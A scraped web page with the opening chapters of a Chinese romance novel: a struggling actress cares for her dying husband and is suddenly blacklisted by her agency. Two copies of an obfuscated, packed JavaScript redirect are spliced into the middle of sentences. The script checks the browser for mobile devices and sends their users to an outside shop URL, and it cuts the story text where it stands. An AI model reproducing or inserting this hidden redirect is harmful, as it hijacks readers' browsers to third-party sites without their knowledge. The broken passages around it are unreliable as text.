《落婚时寒[破镜重圆]》 1. 第一章 杭城九月。 天气热得叫人心烦意乱。 池落漪录完通告近两点,一路踩着超速线往家开。 匆匆停好车,快步来到小红花幼儿园大三班的接送点。果然见女儿小溪孤零零地和班主任站一起,正伸长脖子张望来接她的人。 哦,也不算特别孤零零,还有两三个同病相怜的小朋友。 时下正数秋收农忙季,县城男女老少们忙碌得很,今天收水稻,明天收黄豆,迟到一会儿算正常。 “妈妈!” “小溪!” 她抱住奔过来的肉墩墩,愧疚地亲亲她,“对不起,妈妈来晚了。” “麻烦了廖老师,我又来晚了。” 廖萍是个长相很甜的女孩子,人也随和,闻言摆手,“池老师别客气,小溪很懂事,乖乖等你呢。” “真的么?” “当然是真的。”小女孩羊角辫一甩一甩,抱着她胳膊咯咯笑。 “小溪是全世界最乖的宝宝,小溪的妈妈是全世界最漂亮的妈妈~” “萌萌亮亮还有李明远你们过来看!我没吹牛吧,我妈妈是不是很漂亮?” 小伙伴们十分给面子,纷纷瞪大眼睛,“我嘞个豆,真的欸!阿姨和我爸爸手机上刷的美女一样漂亮。” 大人们扑哧笑了。 “池老师,你现在出门怎么不戴个墨镜啥的,万一被人认出来了怎么办?” 她闻言弯唇,动作很轻地将粘在脸颊的碎发掖到耳后,“我就是个演丫鬟和恶毒女配的十八线,全国认识我的都在淳县了。” “对了,前两天救场拍广告,品牌方寄给我一套护肤品。我看了下,成分不错,适合二十三四岁的小姑娘,所以拿来给你用,别嫌弃。” 说着把包装袋递上来。 廖萍“哇”了声,两眼放光,“这牌子好贵的!给我用太浪费了!我也不能老要你东西,什么面膜口红眼影,一有就送给我、我还拿着,我妈都说我忒不要脸了。” 话落,很明显看见送礼者的眼尾和嘴角失落地往下垂了垂。 她是典型冰山美人长相,皮肤白,轮廓淡雅,不笑的时候流露疏离感。 廖萍想起几年前见她的第一面,同样高挑,纤细,生人勿近,在最枯燥犯困的教师例会上坐得笔直。 当时就觉得奇怪,奇怪这样好看有气质的女人怎么会跑来杭城最落后的县里当老师。于是会后和同样新入职的同事八卦,得到最终结论:八成是校长或县里哪个领导家的亲戚下乡镀金,不出一年半载就能往上提。 然而一晃多年,她始终是小学部五六年级的英语老师,无比“安分”。和普通同事一样领着普通的工资,日复一日普通的生活。 如果不是长得过于好看,几乎没有存在感。 直到一年前,她放弃编制提出辞职,做了份风马牛不相及的工作。大家方才如梦初醒。 人家没有后台没有关系,平平凡凡地靠脸吃饭。 “不收么……” “你不收我也没什么别的朋友送了。白放着,挺浪费的。” 等等……朋友?!廖萍激动,“你说我是你朋友?” “额……不然呢?” 如果不是有小朋友在,她肯定原地升天炸成烟花了,谁懂被高山晶莹雪放眼里的惊喜度和优越感呀! “是是是……是朋友!那我就不客气了!谢谢漪漪!” 这下轮到对方呆了。 “……漪漪?” “嗯呐!以前你老公来接你时这样叫过你,我记住了!” 她微微笑,“好,那我们回去了。小溪,跟老师还有同学们说再见。” “老师再见!萌萌亮亮还有李明远明天见!”母女俩一路哼歌往家里那辆吉利icon走。 家里本来没有车,也不需要。住的地方离学校不远,无论上班还是接送孩子,一辆电瓶车搞定。可自从做了小演员,经纪人樊姐说她连辆车都没有太掉价了,于是咬咬牙,用仅剩的存款提了辆物美价廉的国产吉利。 就这样赶着橘色夕阳,不到半刻钟便到家了。保姆云嫂听到声音忙打开两道门,操着亲切的严州片道,“可回来了!饭已经做好了。漪漪你是打包带到医院吃还是在家陪小溪吃呀?” “在家吃吧。”她换鞋,将包挂好,随手拿了个夹子把长发挽起来。 “小溪,去洗手。” “好!” 卫生间传来清晰的水流声。 房子不隔音,老小区60平左右的空间对一家人来说很拮据。 好在户型好,一大一小两个卧室全部朝南,采光足足的。加之主人大概是个有情调的人,花花草草地将小屋收拾得很温馨,五脏俱全。不然当初家政公司上门,也不会认为这是个能请得起保姆的家庭。 “哎呦你歇歇,放着我来弄!” 云嫂把饭菜摆好,过来拉餐桌前的窗帘,“天越来越短,不到六点日光就晃人眼。” 女人淡淡笑,“但天还热的很。云嫂你盛饭,我把电风扇插上。对了,回来路上我打电话给物业了,他们这几天就会派人来修空调。晚上睡觉你们觉得热,就把主卧空调打开,门开开。” “不妨事!我不嫌热,就是小溪热得老掀被子。” 她嗯了声,坐下来捏捏女儿胖乎乎的脸,“小孩子体温总是高一些的。小溪,妈妈今晚要去陪爸爸,你乖乖听云嫂话,好么?” “……哦。” “哦是高兴还是不高兴?” “高兴……” “真的高兴?” 女孩瘪瘪嘴,“不高兴。我已经一星期没看到妈妈了。” 末了补充,“以为今天可以和妈妈睡觉,小溪昨晚都没睡着。” 愧疚上涌,池落漪夹了块糖醋排骨放在她碗里,试图用这种苍白无力的歉意安抚女儿幼小的内心。 “抱歉,妈妈最近太忙了。小溪乖,妈妈明晚回家陪你。” “真的吗?” “真的。” “那太好了!”她懂事,也容易满足,夹起最喜欢吃的排骨大快朵颐。 “妈妈,今天廖老师教了我们一首新儿歌,叫《好爸爸》。我跟着读了一遍,惊呆了!我嘞个豆,这说的就是我爸爸呀!” 笑容泛起一丝苦涩。女人尽量不叫孩子发现自己情绪上的端倪。 “哦,你说,妈妈想听。” “爸爸很棒很棒……” “工作学习人人都夸……” “爸爸一定最疼妈妈……” “家里活儿总是抢着干……” “爸爸肚子里的故事很多很多……” “像小河那样流不完……” “啊,这样的爸爸……” “谁都会说是好爸爸!” 稚嫩的嗓音慷慨激昂,在座大人很有默契地为她鼓掌,“真棒。” “老师也说我棒,才读一遍就能记住。还说我爸爸不仅是个好爸爸,还是个帅爸爸!” “对了妈妈,我也有两三天没见爸爸了,我能和你一起去看爸爸吗?” 手一顿,艰涩扯唇,“小溪明天要上学,等周末好么?” “哦,好吧。” 总算安静吃饭了。 池落漪暗暗松了口气,想小孩子就是小孩子,烦恼应该不会过夜吧?可等云嫂收拾好餐桌去厨房洗碗时,肚皮吃滚圆的女孩突然问了自己一个问题。 “妈妈,爸爸会死吗?” 汤洒出来,烫到手背。她顾不上灼痛,手忙脚乱地抽纸擦保温盒。擦好将盖子拧紧,才哑着声音道: “为什么这样说?” “昨天放学,张爷爷几人在楼下打牌。他们看到我立刻不说话了,以为我没听到。其实我听到了。” “他们说爸爸这次住院住了半年都没回来,大概活不成了。” “活不成……就是会死吧。” 脚步有几分虚浮,她按着桌子,坐下来,将女孩抱怀里。 “你希望爸爸死吗?” “不希望!” “妈妈也不希望。” “所以爸爸不会死。他很爱我们,不舍得离开妈妈和小溪。” …… 骑车到医院,天完全黑下来。池落漪紧了紧外套,熟稔地朝住院部走。县城住院部人并不多,走廊里显得空荡荡的。毕竟谁家真要有什么重症急症,早送市区医院了,因而这里住的基本是得慢性病的老年人。 到门口,隔着房门玻璃就看见床上坐着的消瘦男人。 男人也看到了她。 放下书,摘掉眼镜,苍白唇畔弯起如春风般和煦的笑容。 “回来了?” 她小跑,保温盒没放稳就往他怀里钻,“桥哥……我们快一星期没见了。” “你想我么?” “想。” 纪桥收紧手臂,“每一天都在想。” “我也想你。”女人蹭掉眼泪,用力吸了口他身上的温柔气息。半晌不舍地钻出来,捧起他的手左看右看。 他的手很漂亮,白皙、修长而骨节分明,指甲盖都圆润润的。只是现在过于干瘦了,手背布满淤青,便显得那枚滞留针如同凌迟酷刑,渐而消磨这具身体的肌骨和血肉。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16745772|189883||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又多了。 “……很疼吧?”她轻轻触碰,刚止住的泪水啪啪掉下来,水龙头似的。 男人摇头,反手握住她的,十指相扣,“不疼,习惯了。” “云嫂和护工照顾得我很好,这里的医生和护士也很关照我。我每天吃吃喝喝睡睡过神仙日子,还需要你心疼呀?” 疼,疼死了。 可她一个字都不能说出来。 他给她擦眼泪,像谈恋爱时候一样温柔,“傻丫头,小孩似的,小溪都比你坚强。”女人破涕,“你也知道呀?我都27了还叫我丫头,怕我进不了丫头教么?” 纪桥get到她的梗,清秀眉眼浮现几分难得的生气,“别人说别人的,你在我心中就是个傻丫头。” …… 在卫生间待了不短时间,出来时病人又在看书了。 他不催促,保持钝感,大概知道妻子在里面做什么。 坐下来,拿起汤勺给他盛了碗海带鲜蘑汤,“樊姐说这道汤很鲜。云嫂特意学来做给你喝的。” “好喝。” “那今天要多喝一碗哦。” “行。”男人笑得宠溺,“对了,小溪呢?怎么没带她来。” “她想来,我没让。桥哥,你不能这么惯着她。云嫂和我说你前两天给她讲故事讲到十点钟,太辛苦了。” 他眼眸一弯,儒雅极了,鼻尖那粒小痣跟着轻轻晃动。 “她现在经常见不到你、也见不到我,难免不适应。小孩子通常没有安全感。偶尔惯一惯,她很开心。” “你呢,工作还适应么?” “一年了,差不多适应。”池落漪絮絮叨叨地打开话匣子,“这次到沪市参加了几个品牌活动,穿高跟鞋差点把脚走废了。好在报酬丰厚,除去公司抽成,比做老师时赚得多一些。” “也亏樊姐照应。公司比我红比我有人气的前辈多了去了,按资排辈轮不到我一个十八线。可一有缝隙她就有本事把我往里插,气得前辈粉丝大骂我是蹭货。” “难过吗?” “不难过呀。”她吃过饭了,这顿就喝几口汤,大半注意力放丈夫身上。帮他剃肉,给他递纸,像在呵护一个瓷器娃娃。而男人不紧不慢,自然而然接受她的照顾。 这是夫妻俩多年形成的默契。 只不过现在调换了身份。 “我本就是蹭的。” “樊姐还说呢,说我没优点就心态好,怎么黑都没感觉。加之脸长得还算过得去,所以要趁年轻多捞金,捞一笔是一笔。我说好,她就特别无语,骂我这辈子没大红大紫的命。” 他笑,“为难你了。”女人收拾桌子,若无其事道,“很幸运啦,以前做老师也有很多为难事。” “可你喜欢做老师。” 她一顿,眉眼低垂如蒲柳,“可我更喜欢你。” “桥哥,是你把我从稀里糊涂的生活中救出来。为你,为我们的家,我想努力一把。” 接下来很安静。两人默不作声将那碗海带鲜蘑汤分喝完了。 洗好餐具,她照例扶男人下楼散步。散完步回来,她又分秒不停拿热水壶到开水间打热水。风将她留得一条门缝吹上了,发出啪嗒一声响。潮湿闷热的消毒水气味随着那缕寒兰香气的消逝卷土重来,灰颓、腐败,无处不在地往鼻息里钻。 胸口忽然一阵压榨性疼痛,纪桥忙按住桌角大口呼吸。 身体一天比一天差。这种感觉,只有病人自己最清楚。 真没机会了吧…… 他打开抽屉,缓缓从里面拿出订起来的几页纸。 …… 洗漱完,池落漪帮他按腿。两人穿着同款睡衣,依偎着,有一搭没一搭地聊天说话。 前几次住院,纪桥并没有出现下肢水肿的症状。这次两侧小腿位置的凹陷性症状渐而明显,闹得他觉都睡不好。 没按多久,手被捉去了。他心疼自己劳累,反过来为她揉捏手和脚。 就这样到十点多,该休息了,女人下床收拾床铺。 给氧,关灯,拉窗帘。 屋里屋外一下子变得静悄悄的。 她侧躺,像往常一样凝视病床上那道轻微的起伏。仪器滴滴答答的声音无比催眠,致使眼皮沉重张张合合,控制不住往一处碰。 就在神思飘忽沉入梦乡前,恍惚听有人在叫自己的名字。 “漪漪……” “嗯?”立刻坐起来。 “怎么了桥哥,哪里不舒服吗?” 黑暗中,他吐声如梦呓。 “你有没有想过回到他身边。” 2. 第二章 秋夜陷入长久静寂。 久到女人彻底醒了,起身、坐起来,无助地凝视黑暗。 “你……不想要我了?” 嗓音微微发抖。 纪桥咬紧腮帮,忍着避开她视线。 “你有你的人生,不该陪我一个将死之人蹉跎光阴。如果你还爱他,带着小溪去找他吧。” “真心的?” 他很平静,像在心里预演了无数次。 “真心的。” 啪!病房一瞬亮如白昼。池落漪打开抽屉,从中抽出几页纸,“所以你找人拟了这份离婚协议书!收起来,以为我不会发现?” “我早发现了。” 泪凝聚在眼眶里发光,牙齿不住打颤。她比划着,动作僵硬,神情因为不习惯发火显得脆弱而崩溃。 结婚多年,她只发过两次火。一次是一年前旧疾复发来势汹汹,丈夫不肯去医院治疗。 一次是此刻。 更无助、无解的境地。至少对自己来说这样。 “我不说,是觉得你只是一时想不开,不会真的不要我,所以我一直在等你回心转意!可今天,你说了……你竟然说了……”她蜷缩成单薄的壳,缓缓把脑袋埋起来。 “纪桥,你真不想要我了?” 男人拔掉鼻导管,窒息感铺天盖地。妻子发现了,顾不得眼泪在流,慌忙帮他把鼻导管又戴回去,“不要!你不要动!” 医生说必须定时吸氧。 他开始咳嗽,很剧烈,肺都要咳出来似的。末了挫败地倒在枕头上,大汗淋漓,“看吧,我什么都做不了。”工作做不了,家务做不了。现在连爱人哭了都无法安慰,和废人有什么两样。 “漪漪,如果可以,我愿意照顾你一生一世。可我做不到了。” “你可以的……我努力赚钱,你努力治病,只要努力,我们一家人会一辈子幸福!” “我了解我的病。” “可你活过来一次了!”日复一日的恐惧和委屈于此刻爆发,女人跪伏在病床边,紧紧握住他的手。 “那时你只是个孩子,无依无靠都能活过来。而今你长大了,有我有小溪,你一定还可以的,对么?” 他痛苦地闭上眼睛。 池落漪懂他的踌躇,静静逼退眼前浓稠的雾气,“桥哥,以前的人和事对我来说就像一场梦,醒了就忘了。现在我只在意你。” “所以你好好好活下去。为我,为小溪。我们真的不能没有你。” 眼泪把掌心濡湿。 纪桥躺回去,眼眸红透。 真的还有机会么?拇指的虎口一下下剐蹭她脸颊细腻的肌理。 * * 翌日一早,池落漪把满地碎纸片扫干净后,骑车回家送孩子上学。 送完孩子路过菜市场,买了条鲈鱼回家清蒸。 她是厨艺小白。以前生活在云泽的外祖家,日子不算富裕却有人疼,基本衣来伸手饭来张口。后来被接到杭城做大小姐,叔叔婶婶为着面子也不特别亏待她。池怡晴每天喜欢吃什么厨房便做什么,她做小伏低跟着吃就是了。 再后来和那个人同居了几年,日常烟火不再是生活的重心,时光匆匆而飘渺。 直到结婚,她和纪桥搬到这座平凡的乡镇,日子变得清苦,可一切都慢下来。 早餐巷口的包子豆浆油条。 午餐单位食堂。 晚餐丈夫全权负责,她和女儿只需要摆好碗筷等投喂,说“好吃”就好。 云嫂请了半天假,没人指导。她依靠记忆在鱼背上划了几刀。正要将盘子放蒸笼上,手机响了,铃声还是为经纪人樊姐专门设置的催命符。于是开始手忙脚乱,“哎呀……喂?” “干什么呢?” “做饭。” 对面一听火蹭蹭往上冒,“过两天要进组了知不知道?你演的是南唐公主不是种田农妇,不抓紧时间保养皮肤保养手做什么饭?!” 她无法据理力争,拿抹布轻轻擦台面上的污渍,“对不起,保姆有事请假了。我会注意的。樊姐,您放心。” “淳县订不到外卖?” “外卖……多油多盐。” 樊玲想起什么,恨铁不成钢的气瞬间瘪了,僵硬地扯开话题。 “那什么、周几回来?” “下周日……” 快四十能当她妈的人深呼吸,觉得自己更年期要被气提前了,“周中有开机仪式你不知道吗?主演去你不去,不怕别人骂你小牌大耍哈!再说罗玫玫早看你不顺眼了,躲都来不及、你主动送把柄?把你换了是小,到时片场借机甩你耳巴子可别跟我哭!” 额……还真有可能。 罗玫玫是和嘉传媒当家花旦,老板都作哈巴狗捧着的摇钱树。 “我八番小透明,一个月后才有戏呢。去或不去,大概不妨碍开机仪式顺利进行。至于玫玫姐……” 她有些苦恼,硬着头皮道,“樊姐,麻烦你了。” 樊玲在家白眼翻上天了,“我真上辈子作孽摊上个你这样的艺人,找机会让你和导演制片人搞好关系都不要!行了,先这样吧。这边我替你挡着,你尽快回来。” “嗯,谢谢。” “对了,你家纪桥还好吧?” 手一松,电饭煲盖子啪嗒掉地上。她赶紧捡起来,冲干净,“还好。” “多谢惦记。” “得咧。”电话挂断。 …… 装好饭菜到医院刚好十一点,住院部飘来墙外苍蝇馆子的饭香。 两人分吃完一碟寡淡的鲈鱼和蒸老了的虾仁鸡蛋羹,默默不说话。 离婚协议书是扔了,可昨晚的撕心裂肺历历在目。她的眼泪、他的决绝和颓败,在紧绷了近一年的时刻迸发…… 这样激烈的情绪宣泄,对性格内敛的两个人来说无异于大病一场。 还好,午休欲睡的时候,他们的手紧紧握一起。 护工说纪先生很难睡着。平卧时无法呼吸,熟睡后还会被憋醒。妻女不在的时候,他几乎整夜望着窗外发呆。白天情况要好一点,所以尽量白天睡,而且越睡越久。 有时看着他,觉得他不会再醒来了。 就像现在。 池落漪把手和视线缩回来,生怕碰碎他灰败脆弱的睡颜。片刻起身,脚步沉重地往医生办公室走。 负责丈夫诊疗的老人年近花甲,在淳县当了半辈子的赤脚医生。 从医资格是否合法不知道,总之经验丰富,内外科但凡不太严重的,他都能看上一道。 这回,来人都没坐稳,慈悲的目光便透过浑浊的眼膜望过来,“你不来找我我也要找你,你家那口子的情况不能再拖了。” 面上血色褪尽。 “没办法了吗?” 老人叹了口气,“扩心病、心衰合并二尖瓣反流,EF值28,心脏已经无法将血液有效地射出到血管内部。说白了随时可能猝死。” 唇瓣抖了抖,眼泪毫无预兆地掉下来,“我们做过微创钳夹手术,杭城市医院的医生说恢复得很好、” “钳夹手术不能治本,只能把重度反流改善为轻度反流。而你的丈夫目前心衰四级,每天靠吸氧活着,吃再多药也无法让受损的心脏恢复如初。” “所以我建议你们尽快转院,请大医院专家评估能不能装三腔,就是三腔起搏器,再逐步上b受体阻滞剂。这样或许还能拖个三年五年,总比现在强。” “三腔也无法根治?” “起搏器不能治疗也不能减缓心衰,只能防止心脏骤停猝死。我想市医院的医生应该明确说过,扩心病的终极是换心。要么心脏移植,要么人工心脏。” 池落漪点了点头。 一年前纪桥旧病复发,市医院心外科专家及心内科专家几次会诊,结论无一不是成因复杂状态严重,想根治只有手术换心。 心脏移植心源紧张,配型难,有排异。人工心脏相对容易,但费用较高。 了解到病人是孤儿,没有父母子女等直系亲属做配型,便只有人工心 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她亲了女儿一口,泪流满面。随后将家里的事交给云嫂,便追上救护车到达市医院,开始了一整夜惊慌失措的抢救等待。 …… 晨光熹微,病人从手术室转移到重症监护室。之后三天下了两次病危通知书,血氧一度掉到70%。 池落漪从最初的崩溃到后期的麻木昏沉,脸瘦了一圈,下巴都尖了,终于在周末前盼到他情况好转。 与之而来的,是院方下达的郑重警告——如果不尽快进行心脏移植,病人只有三五月的存活时间。 三五月…… 意味着年关都撑不过。 中年医生不忍心,毕竟对面是个肤若凝脂的漂亮女人。 却也无可奈何,实话道,“就目前情况看,安装起搏器基本没用了。能不能等到合适的心源,也得看天意。” “不等了,我这就签同意书,求求您一定要救活他!” “LVAD的术前评估很严格,并不是说做就能做的。包括应用场景、植入时机的判断,都会影响术后的恢复情况。” “专家组建议病人先在ICU治疗恢复基本的生理功能,同时进行各项指标评估,评估通过就可以做手术了。未来能使患者存活且恢复心功能最好,不能也可以拖延时间等待心源供体,以供存活率更高的心脏移植。” 池落漪听懂了,回病房后开始查看名下所有存折和银行卡。 结婚五年,两人挣得不少,却没有太多存款。纪桥毕业后做了后端开发程序员,待遇很好。大部分工资用来还房贷,其余则补贴家用。 而自己的不多不少,每个月固定一部分寄给外公外婆,另一部分打进一个银行账户。是当初离开池家时、答应还回去的吃穿用度。 平时存不到钱,年底的奖金发放日就成了一家三口最轻松快乐的时光。吃好吃的,看电影,亦或是每月一次的租车周边游……他们用力地活着。 直到一年多前纪桥旧病复发,可观的存款如流水般消耗。 到现在…… 计算器得出一个数字。12万,不过中等收入人群一年的工资,只够支付丈夫住一个月ICU的费用。 她搓了把脸,神情挫败而苍白。现在只有一条路可以选,借钱。 丈夫无亲无故。她,基本无亲无故。从前的杭城现在的淳县,多数人就如过客般在自己的世界出现又离开。 手指在通讯录界面滑上滑下,来回落到几个熟悉的名字上。最终退出,在最近通话那栏找到樊姐。 嘟……嘟…… 接通。 “樊姐,方便说话吗?我,我有事烦你。” “什么都别说,听我说。你完蛋了知不知道?!” 当事人一头雾水,“怎么了?” “你他妈到底得罪谁了!啊?公司把你之后半年的戏约、通告全停了!” 3. 第三章 “什么……” 滑稽得令人想笑。她僵硬地低下头去,眼泪越掉越多。 老天不会这么绝吧。 “不管你在哪,马上回公司。这件事必须面谈尽快解决,否则谁也保不了你!包括我!” * * 出发沪市前,池落漪回了趟家。 小溪还不知道自己爸爸出事,只当妈妈又临时安排了工作,所以才一星期不回来。 得知她待不了多久又要走,嘴撅得能挂油瓶。女人抱着哄,忍着不露情绪。 空头承诺太多,孩子越来越禁不起失望。这次便不敢承诺了,只说爸爸妈妈很爱她,会一直一直爱着她。 约莫黄昏,她驱车到达公司。 几小时的路程叫人疲惫不堪,却不敢有一丝懈怠,马不停蹄上七层工作室找樊姐。樊姐看见她吓一跳,一时忘记火烧眉毛的境况,出口迸发一个专业经纪人的修养,“几天不见怎么成这副鬼样子了?!” 脸蜡黄、眼窝凹陷,长发简单地在后脑挽了髻。小巧偏薄的嘴唇毫无往日光泽,干燥得都起皮了。 稍微看得过去的也就那双眼睛。狭长而舒展,眼尾微微下垂。眸光不算特别明亮,但标志性的琥珀色瞳孔清冷倔强,始终蒙着一层淡淡的雾气。 “你要穿这身洗发白的衬衣牛仔裤去见老板就趁早算了吧,和嘉的保洁阿姨都比你有星味。” “你不用心、我也不费这工夫,正好抓住这千载难逢的机会退圈。” 池落漪一向脸皮薄,最初被她这样损会臊得脸通红。渐渐习惯了,左耳朵进右耳朵出。而今丈夫危在旦夕,就更不在意了,恍恍惚惚地坐沙发上。 “有点事,没来得及收拾……是我缺席了开机仪式、得罪了玫玫姐,所以戏约和通告都被取消了?” 樊玲也不纠结,跳过话题没好气道,“她还没那么大本事。” “手再长,无非讨好制片人让你滚出《听君录》剧组。能把手伸向你未来几个月的工作安排,绝不是她个演员能决定的事。这不单涉及毁约赔偿金等等事务,更像一场不计成果的雪藏。所以我才问你是不是得罪什么大人物了。” 她摇摇头。 “我也没见过什么大人物。 两人又复盘了会儿,毫无头绪,硬着头皮找老板。去之前,池落漪洗了个澡、换了身衣服,又化了个淡妆,终于达到露脸标准。此刻干干净净不食人间烟火地站在老板葛丹办公桌前,接受她莫测而高高在上的打量。 “你就是池落漪?” 她“殷勤”点头。葛丹的注意力却转移了,似笑非笑地看向樊玲,“你手下艺人不少,倒对这个新人挺上心。” 樊玲听出她话里有话,上前赔笑道,“我们漪漪特别努力,人又听话,是市面上特别缺的女演员类型,已经有小部分买股粉啦!” “可我听不少导演吐槽她拍戏做不了表情,只能演演那种面无表情的角色。” “嗨,这叫舒适区!”女人做经纪人十几年,忽悠全靠一张嘴。 “您瞧她,往这一站就是清冷仙子的范儿,别人想模仿都模仿不来。所以您再给她一次机会好不好?那些戏约啊通告啊说大不大说小不小、都是签约了的,漪漪怎么好意思让公司为她承担损失哈,是吧?” 边说边拿手肘捣了捣当事人。 池落漪回神,攥紧手心,笨拙地挤出笑来,“葛总,我会努力的,您就再给我一次机会吧!我、我真的很需要这份工作。” 何止需要,此刻说救命都不为过。 《听君录》的部分片酬早该在开机前三五日就打进账户的。 “落漪啊,你别误会。” 葛丹在短暂沉默后换上一副公事公办的笑容,悠悠道,“公司没想跟你解约,也不会雪藏你。恰恰因为你有红的潜力,才希望你能停下来、上一段时间的培训班磨练演技,将来才有机会独挑大梁。” “正好你和你经纪人都在,我就不让人传达了。公司决定《听君录》公主一角换人,片方同意了,你就趁这段时间好好学习吧!” “老板?!” “闭嘴!” 偌大奢侈的办公室顿时陷入不明觉厉的低气压中。 太绝望了。池落漪头晕目眩,身形开始轻微晃动。连续一周精神紧绷加昼夜忙碌,身体早就吃不消了。站着就用了全部力气。 “我能知道我做错什么了吗?” “如果没有,我可以解约,也可以找律师维护自身权益。” 葛丹耸肩,毫不在意,“如果你觉得自己可以赢的话。” “……”小妮子看起来性格软,真犟起来十头牛都拉不回。怕闹大,樊玲连忙把人拖出去、赶走。半晌跑回来,咬牙切齿道,“老板你给我句准话,我们漪漪得罪谁了?您嘴上说不雪藏,可这做法就没想给她活路啊!” 葛丹忙着签字,头都不抬,“我没时间跟她一个十八线过不去,但确实有人想叫她过得不舒服。这个人我都没资格过问是谁,自己想想有多大的来头吧!” “你的新人,不简单呦。” 能怎样不简单? 樊玲一路都在想这个问题。她不就是个偶然火了的素人老师? 自己慧眼识珠看中了她,上门联系,没费劲就签到旗下。 27岁、父母双亡、已婚已育,除了一张不俗的脸没有任何可利用价值。 说难听点,金主都不包。娱乐圈最不缺年轻漂亮的小妹妹。 此时天已半黑,玻璃幕墙折射的最后一缕晚霞倾洒在沙发那抹轻微起伏上。似薄纱,轻抚一身骨头,荒唐而突兀。 她本不属于这里。 看来不用问纪桥好不好。 不好。很不好。 极轻地叹了口气,想给她盖个毯子。可人一碰就醒,迷茫地坐起来。 “樊姐,我……” “我知道,但你不能硬刚。”樊玲尝试把语气放软,“比你红比你有背景的腕儿都拖不起冗长的法律流程,你个十八线想脱身无异于鸡蛋碰石头。而且你目前应该没精力应付这些事,不如听公司安排,缓缓吧。” “可我拖不起了!”女人捂脸,有些无助地把自己藏起来,“樊姐,我现在需要钱,很多很多钱!” “纪桥他?” “他要不行了!” …… 回杭城路上,银行卡收到一笔大额汇款。池落漪匆匆看了眼,是樊玲打来的十万块钱。 樊玲算老牌经纪人,手下艺人不少,但红的不多,所以她在和嘉的地位待遇一直麻麻的。能一口气借十万块钱给她这个赔钱货,仁至义尽,自己都不知道该怎么报答她。 到医院已然深夜,icu门口的地上躺满了等待无望的病人家属。 她放轻脚步,来到小窗口旁,努力往里面张望。明知看不到什么,人却被牢牢吸引。好似只有这样,恐慌的心才能因为贴近他而拥有片刻的喘息时光。 第二天联络卖房,忙了一上午。 中介说房源条件差,二手房市场低迷,最终成交价不会太高。 池落漪看出来对方想压价,却没办法,只说尽快出手,现在最重要是凑齐人工心脏的前期费用。 下午,护士带来好消息。 纪桥醒了,她有十五分钟的探视时间。于是一秒钟不耽误,慌忙换了隔离衣、口罩和鞋套走进去。 短短几天,他又瘦了。 颧骨凸出来,手背上的青色血管都能看得清清楚楚。 病情太重,平卧完 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16745774|189883||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 全不能呼吸。便端坐靠着冰冷的床头架子,灰败,脆弱,就这样奄奄一息地望过来。 “漪漪……” 眼泪止不住流。明明想坚强,可看到他的瞬间,心翻搅地疼。 要疼死了。 “桥哥!” “别哭,我没事。” 他想帮她擦眼泪,手却提不起劲儿来。女人立刻送上去,紧紧与他握在一起,“你疼吗?很难受是不是?” 他摇头,同时弯了弯唇。这样小幅度的动作,随之引来一阵剧烈的咳嗽。 池落漪吓坏了,立刻呼叫护士。护士过来轻拍他的背,很镇定甚至冷漠地接了把他咳出的东西。鲜红鲜红的,那是……血。 腿一软,差点跪地上。 “哎呀,你别怕。”护士腾出另一只手扶她,“咳血、咳粉红色泡沫痰是后期正常反应,我们会处理。您放心。” 她攥紧手心,胡乱点头。再鼓足勇气看向自己丈夫时,笑着哭,“对,我不怕。桥哥,你也别怕。” “等你调养好,我们就转院到京市的阜外医院做人工心脏移植手术。那之后,你就能像正常人一样生活,不会再吃这些苦了。” 涣散的瞳孔渐而聚焦,他虚弱的面孔浮现几分分明的愠怒。 “不……漪漪,我不做手术!” 女人充耳不闻,用纸轻轻地给他擦掉嘴角的血迹。 “别担心钱,我会解决的。” “怎么解决?” “拍戏。” 去面试群众演员,或者跑龙套。她不信樊姐讳莫如深的那个人会追着她雪藏。大不了不做艺人了。去饭店端盘子刷盘子,到辅导机构做代课老师……只要能赚钱,只要能救她的丈夫。 纪桥凄然地闭了闭眼。 守望三年,结婚又三年。这么多年相濡以沫,他从没有如此挫败过。 “你卖房了。” 虚弱又笃定的陈述句。 “我求你……不要这么做。那是我唯一能留给你和小溪的东西。” 池落漪抬眸,哪里都哭红了,唯独那双眼睛归于倔强,昭示再多桎梏也动摇不了她的决心。 “桥哥,我也求你。我和小溪因为你才有了家。别放弃我们……求你,千万别放弃!” …… 出来窝楼梯间缓了会儿,流尽眼泪。很奇怪,她并不是个爱哭的人。 小时候想念爸爸妈妈哭过。离开云泽不舍得外公外婆哭过。往后杭城生活的几年,或被苛待或被霸凌,她一滴眼泪没掉,骨子里认为那些人不值得。 当然也有误以为值得的人。 为他内耗过、自愈过。一会儿想得通,一会儿想不通。反反复复,患得患失,心甘情愿折磨自己。 包悦那时惊讶—— 原来你也会哭! 还以为天生复仇者联盟黑寡妇呢! 她哭完了笑。 说,这是最后一次。 然后她们再也没见过了。 现在相见…… 她会记起从来孑然的自己吗? 恍惚拨出那串熟悉的号码。 “喂,谁呀?” “包子……” “嗯?你你你是谁!怎么知道我外号的?” 池落漪握了握手心。脑海里瞬间浮现青葱岁月、两个女孩在校园的角角落落肆意欢笑的画面。 从此没有任何一轮春秋寒暑像有她的那些年一样,让人意犹未尽,仿佛青春的炽热永远留存心底。 “是我,池落漪。” 通话陷入沉寂。 一秒,两秒,三秒……终于,她说话了。语气毫无起伏,浸透冰碴子。 “你打错了。” “我不认识什么池落漪。” 4. 第四章 电话切断了。 女人愣了会儿,心如刀绞。最终发现自己并没有很难接受这种下场。 人之常情。 